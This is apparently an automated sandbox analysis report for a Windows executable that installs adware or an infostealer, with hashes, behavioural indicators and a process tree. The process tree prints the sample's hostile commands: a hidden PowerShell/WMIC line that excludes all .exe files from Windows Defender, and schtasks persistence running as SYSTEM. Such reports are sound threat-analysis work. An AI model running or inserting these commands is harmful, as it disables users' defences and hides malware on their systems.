Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
170s -
max time network
264s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
04/07/2024, 22:36
Static task
static1
Behavioral task
behavioral1
Sample
57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe
Resource
win7-20240508-en
General
-
Target
57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe
-
Size
7.2MB
-
MD5
996233a65fee55d8bce4b872e4c117e1
-
SHA1
95e894cb95f14cf1438e9b8d75a7594dcdaaf4e3
-
SHA256
57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d
-
SHA512
d832f158cdab5dc47776d336521942f548259cb6976f0e6bcafa67b6cc221fca58b438fad5829978fe4c97850c64477f953653b8421ed9267734a2352e538d7e
-
SSDEEP
196608:91OZfn3rm11qJ2sIwxXzRCSQwmWtT7GkZbi0IFZU7P:3OZfn3Cy2pwmwT6kREUb
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 37 1752 rundll32.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4864 powershell.exe 656 powershell.EXE 4260 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000\Control Panel\International\Geo\Nation aYrQxsx.exe -
Executes dropped EXE 4 IoCs
pid Process 4288 Install.exe 836 Install.exe 2552 Install.exe 2340 aYrQxsx.exe -
Loads dropped DLL 1 IoCs
pid Process 1752 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json aYrQxsx.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json aYrQxsx.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe -
Drops file in System32 directory 33 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9 aYrQxsx.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies aYrQxsx.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9 aYrQxsx.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 aYrQxsx.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat rundll32.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 aYrQxsx.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04 aYrQxsx.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File created C:\Program Files (x86)\VcCVDDBRU\iGUszO.dll aYrQxsx.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja aYrQxsx.exe File created C:\Program Files (x86)\VcCVDDBRU\bAGpxhk.xml aYrQxsx.exe File created C:\Program Files (x86)\ATiuMetuMWHU2\BthKCNc.xml aYrQxsx.exe File created C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\LoXlTPR.dll aYrQxsx.exe File created C:\Program Files (x86)\ATiuMetuMWHU2\riPGBUrsVzVOS.dll aYrQxsx.exe File created C:\Program Files (x86)\UyPATDbiwjgOC\VmcMAvE.dll aYrQxsx.exe File created C:\Program Files (x86)\UyPATDbiwjgOC\YrUALCn.xml aYrQxsx.exe File created C:\Program Files (x86)\IchmcMfQaXUn\aBaGDZP.dll aYrQxsx.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi aYrQxsx.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak aYrQxsx.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak aYrQxsx.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi aYrQxsx.exe File created C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\XCSGZsL.xml aYrQxsx.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\bmQWCxleEgxbTUrSZz.job schtasks.exe File created C:\Windows\Tasks\nsbPTSdSgPuDRRbhc.job schtasks.exe File created C:\Windows\Tasks\RShenKKeUbJzTjI.job schtasks.exe File created C:\Windows\Tasks\ROHimGgVjIIdgMKwK.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
pid pid_target Process procid_target 196 2552 WerFault.exe 83 2900 836 WerFault.exe 73 2708 2340 WerFault.exe 153 -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket aYrQxsx.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "0" Install.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936190100006024b221ea3a6910a2dc08002b30309d9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 aYrQxsx.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" aYrQxsx.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache aYrQxsx.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fd360b-0000-0000-0000-d01200000000} aYrQxsx.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" aYrQxsx.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936190100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 aYrQxsx.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fd360b-0000-0000-0000-d01200000000} Install.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4252 schtasks.exe 4640 schtasks.exe 1740 schtasks.exe 1300 schtasks.exe 3196 schtasks.exe 2040 schtasks.exe 4868 schtasks.exe 4452 schtasks.exe 1772 schtasks.exe 4404 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 49 IoCs
pid Process 4864 powershell.exe 4864 powershell.exe 4864 powershell.exe 4452 powershell.exe 4452 powershell.exe 4452 powershell.exe 1968 powershell.exe 1968 powershell.exe 1968 powershell.exe 656 powershell.EXE 656 powershell.EXE 656 powershell.EXE 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 4260 powershell.exe 4260 powershell.exe 4260 powershell.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe 2340 aYrQxsx.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4864 powershell.exe Token: SeIncreaseQuotaPrivilege 3196 WMIC.exe Token: SeSecurityPrivilege 3196 WMIC.exe Token: SeTakeOwnershipPrivilege 3196 WMIC.exe Token: SeLoadDriverPrivilege 3196 WMIC.exe Token: SeSystemProfilePrivilege 3196 WMIC.exe Token: SeSystemtimePrivilege 3196 WMIC.exe Token: SeProfSingleProcessPrivilege 3196 WMIC.exe Token: SeIncBasePriorityPrivilege 3196 WMIC.exe Token: SeCreatePagefilePrivilege 3196 WMIC.exe Token: SeBackupPrivilege 3196 WMIC.exe Token: SeRestorePrivilege 3196 WMIC.exe Token: SeShutdownPrivilege 3196 WMIC.exe Token: SeDebugPrivilege 3196 WMIC.exe Token: SeSystemEnvironmentPrivilege 3196 WMIC.exe Token: SeRemoteShutdownPrivilege 3196 WMIC.exe Token: SeUndockPrivilege 3196 WMIC.exe Token: SeManageVolumePrivilege 3196 WMIC.exe Token: 33 3196 WMIC.exe Token: 34 3196 WMIC.exe Token: 35 3196 WMIC.exe Token: 36 3196 WMIC.exe Token: SeIncreaseQuotaPrivilege 3196 WMIC.exe Token: SeSecurityPrivilege 3196 WMIC.exe Token: SeTakeOwnershipPrivilege 3196 WMIC.exe Token: SeLoadDriverPrivilege 3196 WMIC.exe Token: SeSystemProfilePrivilege 3196 WMIC.exe Token: SeSystemtimePrivilege 3196 WMIC.exe Token: SeProfSingleProcessPrivilege 3196 WMIC.exe Token: SeIncBasePriorityPrivilege 3196 WMIC.exe Token: SeCreatePagefilePrivilege 3196 WMIC.exe Token: SeBackupPrivilege 3196 WMIC.exe Token: SeRestorePrivilege 3196 WMIC.exe Token: SeShutdownPrivilege 3196 WMIC.exe Token: SeDebugPrivilege 3196 WMIC.exe Token: SeSystemEnvironmentPrivilege 3196 WMIC.exe Token: SeRemoteShutdownPrivilege 3196 WMIC.exe Token: SeUndockPrivilege 3196 WMIC.exe Token: SeManageVolumePrivilege 3196 WMIC.exe Token: 33 3196 WMIC.exe Token: 34 3196 WMIC.exe Token: 35 3196 WMIC.exe Token: 36 3196 WMIC.exe Token: SeDebugPrivilege 4452 powershell.exe Token: SeDebugPrivilege 1968 powershell.exe Token: SeDebugPrivilege 656 powershell.EXE Token: SeDebugPrivilege 4260 powershell.exe Token: SeAssignPrimaryTokenPrivilege 2068 WMIC.exe Token: SeIncreaseQuotaPrivilege 2068 WMIC.exe Token: SeSecurityPrivilege 2068 WMIC.exe Token: SeTakeOwnershipPrivilege 2068 WMIC.exe Token: SeLoadDriverPrivilege 2068 WMIC.exe Token: SeSystemtimePrivilege 2068 WMIC.exe Token: SeBackupPrivilege 2068 WMIC.exe Token: SeRestorePrivilege 2068 WMIC.exe Token: SeShutdownPrivilege 2068 WMIC.exe Token: SeSystemEnvironmentPrivilege 2068 WMIC.exe Token: SeUndockPrivilege 2068 WMIC.exe Token: SeManageVolumePrivilege 2068 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2068 WMIC.exe Token: SeIncreaseQuotaPrivilege 2068 WMIC.exe Token: SeSecurityPrivilege 2068 WMIC.exe Token: SeTakeOwnershipPrivilege 2068 WMIC.exe Token: SeLoadDriverPrivilege 2068 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1340 wrote to memory of 4288 1340 57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe 72 PID 1340 wrote to memory of 4288 1340 57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe 72 PID 1340 wrote to memory of 4288 1340 57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe 72 PID 4288 wrote to memory of 836 4288 Install.exe 73 PID 4288 wrote to memory of 836 4288 Install.exe 73 PID 4288 wrote to memory of 836 4288 Install.exe 73 PID 836 wrote to memory of 924 836 Install.exe 75 PID 836 wrote to memory of 924 836 Install.exe 75 PID 836 wrote to memory of 924 836 Install.exe 75 PID 924 wrote to memory of 1756 924 forfiles.exe 77 PID 924 wrote to memory of 1756 924 forfiles.exe 77 PID 924 wrote to memory of 1756 924 forfiles.exe 77 PID 1756 wrote to memory of 4864 1756 cmd.exe 78 PID 1756 wrote to memory of 4864 1756 cmd.exe 78 PID 1756 wrote to memory of 4864 1756 cmd.exe 78 PID 4864 wrote to memory of 3196 4864 powershell.exe 79 PID 4864 wrote to memory of 3196 4864 powershell.exe 79 PID 4864 wrote to memory of 3196 4864 powershell.exe 79 PID 836 wrote to memory of 4252 836 Install.exe 81 PID 836 wrote to memory of 4252 836 Install.exe 81 PID 836 wrote to memory of 4252 836 Install.exe 81 PID 2552 wrote to memory of 4452 2552 Install.exe 84 PID 2552 wrote to memory of 4452 2552 Install.exe 84 PID 2552 wrote to memory of 4452 2552 Install.exe 84 PID 4452 wrote to memory of 8 4452 powershell.exe 86 PID 4452 wrote to memory of 8 4452 powershell.exe 86 PID 4452 wrote to memory of 8 4452 powershell.exe 86 PID 8 wrote to memory of 508 8 cmd.exe 87 PID 8 wrote to memory of 508 8 cmd.exe 87 PID 8 wrote to memory of 508 8 cmd.exe 87 PID 4452 wrote to memory of 4212 4452 powershell.exe 88 PID 4452 wrote to memory of 4212 4452 powershell.exe 88 PID 4452 wrote to memory of 4212 4452 powershell.exe 88 PID 4452 wrote to memory of 1832 4452 powershell.exe 89 PID 4452 wrote to memory of 1832 4452 powershell.exe 89 PID 4452 wrote to memory of 1832 4452 powershell.exe 89 PID 4452 wrote to memory of 1264 4452 powershell.exe 90 PID 4452 wrote to memory of 1264 4452 powershell.exe 90 PID 4452 wrote to memory of 1264 4452 powershell.exe 90 PID 4452 wrote to memory of 4644 4452 powershell.exe 91 PID 4452 wrote to memory of 4644 4452 powershell.exe 91 PID 4452 wrote to memory of 4644 4452 powershell.exe 91 PID 4452 wrote to memory of 4992 4452 powershell.exe 92 PID 4452 wrote to memory of 4992 4452 powershell.exe 92 PID 4452 wrote to memory of 4992 4452 powershell.exe 92 PID 4452 wrote to memory of 1964 4452 powershell.exe 93 PID 4452 wrote to memory of 1964 4452 powershell.exe 93 PID 4452 wrote to memory of 1964 4452 powershell.exe 93 PID 4452 wrote to memory of 2324 4452 powershell.exe 94 PID 4452 wrote to memory of 2324 4452 powershell.exe 94 PID 4452 wrote to memory of 2324 4452 powershell.exe 94 PID 4452 wrote to memory of 4292 4452 powershell.exe 95 PID 4452 wrote to memory of 4292 4452 powershell.exe 95 PID 4452 wrote to memory of 4292 4452 powershell.exe 95 PID 4452 wrote to memory of 4408 4452 powershell.exe 96 PID 4452 wrote to memory of 4408 4452 powershell.exe 96 PID 4452 wrote to memory of 4408 4452 powershell.exe 96 PID 4452 wrote to memory of 3244 4452 powershell.exe 97 PID 4452 wrote to memory of 3244 4452 powershell.exe 97 PID 4452 wrote to memory of 3244 4452 powershell.exe 97 PID 4452 wrote to memory of 4888 4452 powershell.exe 98 PID 4452 wrote to memory of 4888 4452 powershell.exe 98 PID 4452 wrote to memory of 4888 4452 powershell.exe 98 PID 4452 wrote to memory of 1456 4452 powershell.exe 99
Processes
-
C:\Users\Admin\AppData\Local\Temp\57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe"C:\Users\Admin\AppData\Local\Temp\57f939034957cdb82a2760820bb650568ee0699171f48363f9e444c374a05c0d.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Users\Admin\AppData\Local\Temp\7zS59E7.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exe.\Install.exe /FvdidQpG "525403" /S3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m help.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"4⤵
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- Suspicious use of AdjustPrivilegeToken
PID:3196
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bmQWCxleEgxbTUrSZz" /SC once /ST 22:38:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exe\" xv /qipdidw 525403 /S" /V1 /F4⤵
